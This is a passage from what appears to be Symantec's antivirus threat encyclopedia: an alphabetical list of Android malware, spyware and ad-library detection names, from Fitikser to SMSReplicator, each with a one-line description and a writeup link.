https://www.symantec.com/security_response/writeup.jsp?docid=2014-031814-5207-99 |
Fitikser
Fitikser is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-093015-2830-99 |
Flexispy
Flexispy is a Spyware application for Android devices that logs the device’s activity and sends it to a predetermined website.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-122006-4805-99 |
Fokonge
Fokonge is a Trojan horse that steals information from Android devices.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-071802-0727-99 |
FoncySMS
FoncySMS is a Trojan horse for Android devices that sends SMS messages to premium-rate phone numbers. It may also connect to an IRC server and execute any received shell commands.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-011502-2651-99 |
Frogonal
Frogonal is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062205-2312-99 |
Ftad
Ftad is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040114-2020-99 |
Funtasy
Funtasy is a Trojan horse for Android devices that subscribes the user to premium SMS services.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-092519-5811-99 |
GallMe
GallMe is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040312-1336-99 |
Gamex
Gamex is a Trojan horse for Android devices that downloads further threats.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051015-1808-99 |
Gappusin
Gappusin is a Trojan horse for Android devices that downloads applications and disguises them as system updates.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022007-2013-99 |
Gazon
Gazon is a worm for Android devices that spreads through SMS messages.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-030320-1436-99 |
Geinimi
Geinimi is a Trojan that opens a back door and transmits information from the device to a remote location.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-010111-5403-99 |
Generisk
Generisk is a generic detection for Android applications that may pose a privacy, security, or stability risk to the user or user’s Android device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-062622-1559-99 |
Genheur
Genheur is a generic detection for many individual but varied Trojans for Android devices for which specific definitions have not been created. A generic detection is used because it protects against many Trojans that share similar characteristics.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032613-0848-99 |
Genpush
Genpush is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-033109-0426-99 |
GeoFake
GeoFake is a Trojan horse for Android devices that sends SMS messages to premium-rate numbers.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-040217-3232-99 |
Geplook
Geplook is a Trojan horse for Android devices that downloads additional apps onto the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-121814-0917-99 |
Getadpush
Getadpush is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040112-0957-99 |
Ggtracker
Ggtracker is a Trojan horse for Android devices that sends SMS messages to a premium-rate number. It may also steal information from the device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-062208-5013-99 |
Ghostpush
Ghostpush is a Trojan horse for Android devices that roots the compromised device. It may then perform malicious activities on the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-100215-3718-99 |
Gmaster
Gmaster is a Trojan horse on the Android platform that steals potentially confidential information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-082404-5049-99 |
Godwon
Godwon is a Trojan horse for Android devices that steals information.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-091017-1833-99 |
Golddream
Golddream is a Trojan horse that steals information from Android devices.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-070608-4139-99 |
Goldeneagle
Goldeneagle is a Trojan horse that steals information from Android devices.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-090110-3712-99 |
Golocker
Golocker is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062003-3214-99 |
Gomal
Gomal is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-101312-1047-99 |
Gonesixty
Gonesixty is a Trojan horse that steals information from Android devices.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-093001-2649-99 |
Gonfu
Gonfu is a Trojan horse that steals information from Android devices.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-060610-3953-99 |
Gonfu.B
Gonfu.B is a Trojan horse that steals information from Android devices.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-030811-5215-99 |
Gonfu.C
Gonfu.C is a Trojan horse for Android devices that may download additional threats on the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031817-3639-99 |
Gonfu.D
Gonfu.D is a Trojan horse that opens a back door on Android devices.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-040414-1158-99 |
Gooboot
Gooboot is a Trojan horse for Android devices that may send text messages to premium rate numbers.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031818-3034-99 |
Goodadpush
Goodadpush is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040108-0913-99 |
Greystripe
Greystripe is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052919-2643-99 |
Gugespy
Gugespy is a spyware program for Android devices that logs the device’s activity and sends it to a predetermined email address.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071822-2515-99 |
Gugespy.B
Gugespy.B is a spyware program for Android devices that monitors and sends certain information to a remote location.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-070511-5038-99 |
Gupno
Gupno is a Trojan horse for Android devices that poses as a legitimate app and attempts to charge users for features that are normally free. It may also display advertisements on the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-072211-5533-99 |
Habey
Habey is a Trojan horse for Android devices that may attempt to delete files and send SMS messages from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-100608-4512-99 |
Handyclient
Handyclient is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040307-5027-99 |
Hehe
Hehe is a Trojan horse for Android devices that blocks incoming calls and SMS messages from specific numbers. The Trojan also steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-012211-0020-99 |
Hesperbot
Hesperbot is a Trojan horse for Android devices that opens a back door on the compromised device and may steal information.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-121010-1120-99 |
Hippo
Hippo is a Trojan horse that sends SMS messages to premium-rate phone numbers.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-071215-3547-99 |
Hippo.B
Hippo.B is a Trojan horse that sends SMS messages to premium-rate phone numbers.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031915-0151-99 |
IadPush
IadPush is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040315-4104-99 |
iBanking
iBanking is a Trojan horse for Android devices that opens a back door on the compromised device and may steal information.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030713-0559-99 |
Iconosis
Iconosis is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062107-3327-99 |
Iconosys
Iconosys is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-081309-0341-99 |
Igexin
Igexin is an advertisement library that is bundled with certain Android applications. Igexin has the capability of spying on victims through otherwise benign apps by downloading malicious plugins,
Igexin is also known as:
-
IcicleGum
ImAdPush
ImAdPush is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040323-0218-99 |
InMobi
InMobi is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052713-1527-99 |
Jifake
Jifake is a Trojan horse for Android devices that sends SMS messages to premium-rate phone numbers.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-073021-4247-99 |
Jollyserv
Jollyserv is a Trojan horse for Android devices that sends SMS messages and steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-090311-4533-99 |
Jsmshider
Jsmshider is a Trojan horse that opens a back door on Android devices.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-062114-0857-99 |
Ju6
Ju6 is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-2428-99 |
Jumptap
Jumptap is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052713-0859-99 |
Jzmob
Jzmob is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040207-1703-99 |
Kabstamper
Kabstamper is a Trojan horse for Android devices that corrupts images found on the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-060706-2305-99 |
Kidlogger
Kidlogger is a Spyware application for Android devices that logs the device’s activity and sends it to a predetermined website.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-122014-1927-99 |
Kielog
Kielog is a Trojan horse for Android devices that logs keystrokes and sends the stolen information to the remote attacker.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-040205-4035-99 |
Kituri
Kituri is a Trojan horse for Android devices that blocks certain SMS messages from being received by the device. It may also send SMS messages to a premium-rate number.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-061111-5350-99 |
Kranxpay
Kranxpay is a Trojan horse for Android devices that downloads other apps onto the device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071009-0809-99 |
Krysanec
Krysanec is a Trojan horse for Android devices that opens a back door on the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-090113-4128-99 |
Kuaidian360
Kuaidian360 is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040109-2415-99 |
Kuguo
Kuguo is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040315-5215-99 |
Lastacloud
Lastacloud is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-121216-4334-99 |
Laucassspy
Laucassspy is a spyware program for Android devices that steals information and sends it to a remote location.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-092409-1822-99 |
Lifemonspy
Lifemonspy is a spyware application for Android devices that can track the phone’s location, download SMS messages, and erase certain data from the device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111516-5540-99 |
Lightdd
Lightdd is a Trojan horse that steals information from Android devices.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-053114-2342-99 |
Loaderpush
Loaderpush is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040108-0244-99 |
Locaspy
Locaspy is a Potentially Unwanted Application for Android devices that tracks the location of the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030720-3500-99 |
Lockdroid.E
Lockdroid.E is a Trojan horse for Android devices that locks the screen and displays a ransom demand on the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-103005-2209-99 |
Lockdroid.F
Lockdroid.F is a Trojan horse for Android devices that locks the screen and displays a ransom demand on the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-102215-4346-99 |
Lockdroid.G
Lockdroid.G is a Trojan horse for Android devices that may display a ransom demand on the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-050610-2450-99 |
Lockdroid.H
Lockdroid.H is a Trojan horse for Android devices that locks the screen and displays a ransom demand on the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2016-031621-1349-99 |
Lockscreen
Lockscreen is a Trojan horse for Android devices that locks the compromised device from use.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-032409-0743-99 |
LogiaAd
LogiaAd is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052713-0348-99 |
Loicdos
Loicdos is an Android application that provides an interface to a website in order to perform a denial of service (DoS) attack against a computer.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022002-2431-99 |
Loozfon
Loozfon is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-082005-5451-99 |
Lotoor
Lotoor is a generic detection for hack tools that exploit vulnerabilities in order to gain root privileges on compromised Android devices.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-091922-4449-99 |
Lovespy
Lovespy is a Trojan horse for Android devices that steals information from the device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071814-3805-99 |
Lovetrap
Lovetrap is a Trojan horse that sends SMS messages to premium-rate phone numbers.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-072806-2905-99 |
Luckycat
Luckycat is a Trojan horse for Android devices that opens a back door and steals information on the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080617-5343-99 |
Machinleak
Machinleak is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-120311-2440-99 |
Maistealer
Maistealer is a Trojan that steals information from Android devices.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-072411-4350-99 |
Malapp
Malapp is a generic detection for many individual but varied threats on Android devices that share similar characteristics.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-073014-3354-99 |
Malebook
Malebook is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071206-3403-99 |
Malhome
Malhome is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071118-0441-99 |
Malminer
Malminer is a Trojan horse for Android devices that mines cryptocurrencies on the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032712-3709-99 |
Mania
Mania is a Trojan horse for Android devices that sends SMS messages to a premium-rate phone number.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-070623-1520-99 |
Maxit
Maxit is a Trojan horse for Android devices that opens a back door on the compromised device. It also steals certain information and uploads it to a remote location.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-120411-2511-99 |
MdotM
MdotM is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-5824-99 |
Medialets
Medialets is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-5222-99 |
Meshidden
Meshidden is a spyware application for Android devices that allows the device it is installed on to be monitored.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031913-5257-99 |
Mesploit
Mesploit is a tool for Android devices used to create applications that exploit the Android Fake ID vulnerability.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-032014-2847-99 |
Mesprank
Mesprank is a Trojan horse for Android devices that opens a back door on the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030717-1933-99 |
Meswatcherbox
Meswatcherbox is a spyware application for Android devices that forwards SMS messages without the user knowing.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111612-2736-99 |
Miji
Miji is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032815-4720-99 |
Milipnot
Milipnot is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-070414-0941-99 |
MillennialMedia
MillennialMedia is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-4602-99 |
Mitcad
Mitcad is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040212-0528-99 |
MobClix
MobClix is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-4011-99 |
MobFox
MobFox is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-3050-99 |
Mobidisplay
Mobidisplay is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040312-0435-99 |
Mobigapp
Mobigapp is a Trojan horse for Android devices that downloads applications disguised as system updates.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062520-5802-99 |
MobileBackup
MobileBackup is a spyware application for Android devices that monitors the affected device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031020-0040-99 |
Mobilespy
Mobilespy is a Trojan horse that steals information from Android devices.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-071512-0653-99 |
Mobiletx
Mobiletx is a Trojan horse for Android devices that steals information from the compromised device. It may also send SMS messages to a premium-rate number.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-052807-4439-99 |
Mobinaspy
Mobinaspy is a spyware application for Android devices that can track the device’s location.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111516-0511-99 |
Mobus
Mobus is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-2006-99 |
MobWin
MobWin is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-1522-99 |
Mocore
Mocore is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-092112-4603-99 |
Moghava
Moghava is a Trojan horse for Android devices that modifies images that are stored on the device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022712-2822-99 |
Momark
Momark is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040113-5529-99 |
Monitorello
Monitorello is a spyware application for Android devices that allows the device it is installed on to be monitored.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031914-4737-99 |
Moolah
Moolah is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-1007-99 |
MoPub
MoPub is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-2456-99 |
Morepaks
Morepaks is a Trojan horse for Android devices that downloads remote files and may display advertisements on the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071204-1130-99 |
Nandrobox
Nandrobox is a Trojan horse for Android devices that steals information from the compromised device. It also deletes certain SMS messages from the device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-070212-2132-99 |
Netisend
Netisend is a Trojan horse that steals information from Android devices.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-080207-1139-99 |
Nickispy
Nickispy is a Trojan horse that steals information from Android devices.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-072714-3613-99 |
Notcompatible
Notcompatible is a Trojan horse for Android devices that acts as a proxy.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-050307-2712-99 |
Nuhaz
Nuhaz is a Trojan horse for Android devices that may intercept text messages on the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031814-3416-99 |
Nyearleaker
Nyearleaker is a Trojan horse program for Android devices that steals information.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-010514-0844-99 |
Obad
Obad is a Trojan horse for Android devices that opens a back door, steals information, and downloads files. It also sends SMS messages to premium-rate numbers and spreads malware to Bluetooth-enabled devices.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-060411-4146-99 |
Oneclickfraud
Oneclickfraud is a Trojan horse for Android devices that attempts to coerce a user into paying for a pornographic service.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-011205-4412-99 |
Opfake
Opfake is a detection for Trojan horses on the Android platform that send SMS texts to premium-rate numbers.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-012709-2732-99 |
Opfake.B
Opfake.B is a Trojan horse for the Android platform that may receive commands from a remote attacker to perform various functions.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022406-1309-99 |
Ozotshielder
Ozotshielder is a Trojan horse that steals information from Android devices.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-091505-3230-99 |
Pafloat
Pafloat is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040215-2015-99 |
PandaAds
PandaAds is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040312-1959-99 |
Pandbot
Pandbot is a Trojan horse for Android devices that may download more files onto the device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071215-1454-99 |
Pdaspy
Pdaspy is a spyware application for Android devices that periodically gathers information from the device and uploads it to a predetermined location.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111612-0749-99 |
Penetho
Penetho is a hacktool for Android devices that can be used to crack the WiFi password of the router that the device is using.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-100110-3614-99 |
Perkel
Perkel is a Trojan horse for Android devices that may steal information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-082811-4213-99 |
Phimdropper
Phimdropper is a Trojan horse for Android devices that sends and intercepts incoming SMS messages.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-021002-2943-99 |
Phospy
Phospy is a Trojan horse for Android devices that steals confidential information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-060706-4803-99 |
Piddialer
Piddialer is a Trojan horse for Android devices that dials premium-rate numbers from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-111020-2247-99 |
Pikspam
Pikspam is a Trojan horse for Android devices that sends spam SMS messages from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-121815-0336-99 |
Pincer
Pincer is a Trojan horse for Android devices that steals confidential information and opens a back door on the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-052307-3530-99 |
Pirator
Pirator is a Trojan horse on the Android platform that downloads files and steals potentially confidential information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-021609-5740-99 |
Pjapps
Pjapps is a Trojan horse that has been embedded on third party applications and opens a back door on the compromised device. It retrieves commands from a remote command and control server.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-022303-3344-99 |
Pjapps.B
Pjapps.B is a Trojan horse for Android devices that opens a back door on the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032014-1624-99 |
Pletora
Pletora is a is a Trojan horse for Android devices that may lock the compromised device. It then asks the user to pay in order to unlock the device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-061217-4345-99 |
Poisoncake
Poisoncake is a Trojan horse for Android devices that opens a back door on the compromised device. It may also download potentially malicious files and steal information.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2015-010610-0726-99 |
Pontiflex
Pontiflex is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052618-0946-99 |
Positmob
Positmob is a Trojan horse program for Android devices that sends SMS messages to premium rate phone numbers.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111409-1556-99 |
Premiumtext
Premiumtext is a detection for Trojan horses on the Android platform that send SMS texts to premium-rate numbers. These Trojans will often be repackaged versions of genuine Android software packages, often distributed outside the Android Marketplace.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-080213-5308-99 |
Pris
Pris is a Trojan horse for Android devices that silently downloads a malicious application and attempts to open a back door on the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-061820-5638-99 |
Qdplugin
Qdplugin is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-102510-3330-99 |
Qicsomos
Qicsomos is a Trojan horse for Android devices that sends SMS messages to a premium-rate phone number.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-011007-2223-99 |
Qitmo
Qitmo is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030716-4923-99 |
Rabbhome
Rabbhome is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-053007-3750-99 |
Repane
Repane is a Trojan horse for Android devices that steals information and sends SMS messages from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-090411-5052-99 |
Reputation.1
Reputation.1 is a detection for Android files based on analysis performed by Norton Mobile Insight.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-022612-2619-99 |
Reputation.2
Reputation.2 is a detection for Android files based on analysis performed by Norton Mobile Insight.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-022613-2629-99 |
Reputation.3
Reputation.3 is a detection for Android files based on analysis performed by Norton Mobile Insight.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-022613-3126-99 |
RevMob
RevMob is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040308-0502-99 |
Roidsec
Roidsec is a Trojan horse for Android devices that steals confidential information.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-052022-1227-99 |
Rootcager
Rootcager is a Trojan horse that steals information from Android devices.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-030212-1438-99 |
Rootnik
Rootnik is a Trojan horse for Android devices that steals information and downloads additional apps.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2016-062710-0328-99 |
Rufraud
Rufraud is a Trojan horse for Android devices that sends SMS messages to premium-rate phone numbers.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-121306-2304-99 |
Rusms
Rusms is a Trojan horse for Android devices that sends SMS messages and steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-061711-5009-99 |
Samsapo
Samsapo is a worm for Android devices that spreads by sending SMS messages to all contacts stored on the compromised device. It also opens a back door and downloads files.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-050111-1908-99 |
Sandorat
Sandorat is a Trojan horse for Android devices that opens a back door on the compromised device. It also steals information.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-110720-2146-99 |
Sberick
Sberick is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-071014-2146-99 |
Scartibro
Scartibro is a Trojan horse for Android devices that locks the compromised device and asks the user to pay in order to unlock it.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-080718-2038-99 |
Scipiex
Scipiex is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-100814-4702-99 |
Selfmite
Selfmite is a worm for Android devices that spreads through SMS messages.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-070111-5857-99 |
Selfmite.B
Selfmite.B is a worm for Android devices that displays ads on the compromised device. It spreads through SMS messages.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-101013-4717-99 |
SellARing
SellARing is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040407-3157-99 |
SendDroid
SendDroid is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040311-2111-99 |
Simhosy
Simhosy is a Trojan horse for Android devices that steals information from the compromised device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-061013-3955-99 |
Simplocker
Simplocker is a Trojan horse for Android devices that may encrypt files on the compromised device. It then asks the user to pay in order to decrypt these files.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-060610-5533-99 |
Simplocker.B
Simplocker.B is a Trojan horse for Android devices that may encrypt files on the compromised device. It then asks the user to pay in order to decrypt these files.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-072317-1950-99 |
Skullkey
Skullkey is a Trojan horse for Android devices that gives the attacker remote control of the compromised device to perform malicious activity.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-072322-5422-99 |
Smaato
Smaato is an advertisement library that is bundled with certain Android applications.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052622-1755-99 |
Smbcheck
Smbcheck is a hacktool for Android devices that can trigger a Server Message Block version 2 (SMBv2) vulnerability and may cause the target computer to crash.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032613-5634-99 |
Smsblocker
Smsblocker is a generic detection for threats on Android devices that block the transmission of SMS messages.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-081607-4001-99 |
Smsbomber
Smsbomber is a program that can be used to send messages to contacts on the device.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-112611-5837-99 |
Smslink
Smslink is a Trojan horse for Android devices that may send malicious SMS messages from the compromised device. It may also display advertisements.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-112600-3035-99 |
Smspacem
Smspacem is a Trojan horse that may send SMS messages from Android devices.
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-052310-1322-99 |
SMSReplicator
SMSReplicator is a spying utility that will secretly transmit incoming SMS messages to another phone of the installer’s choice.
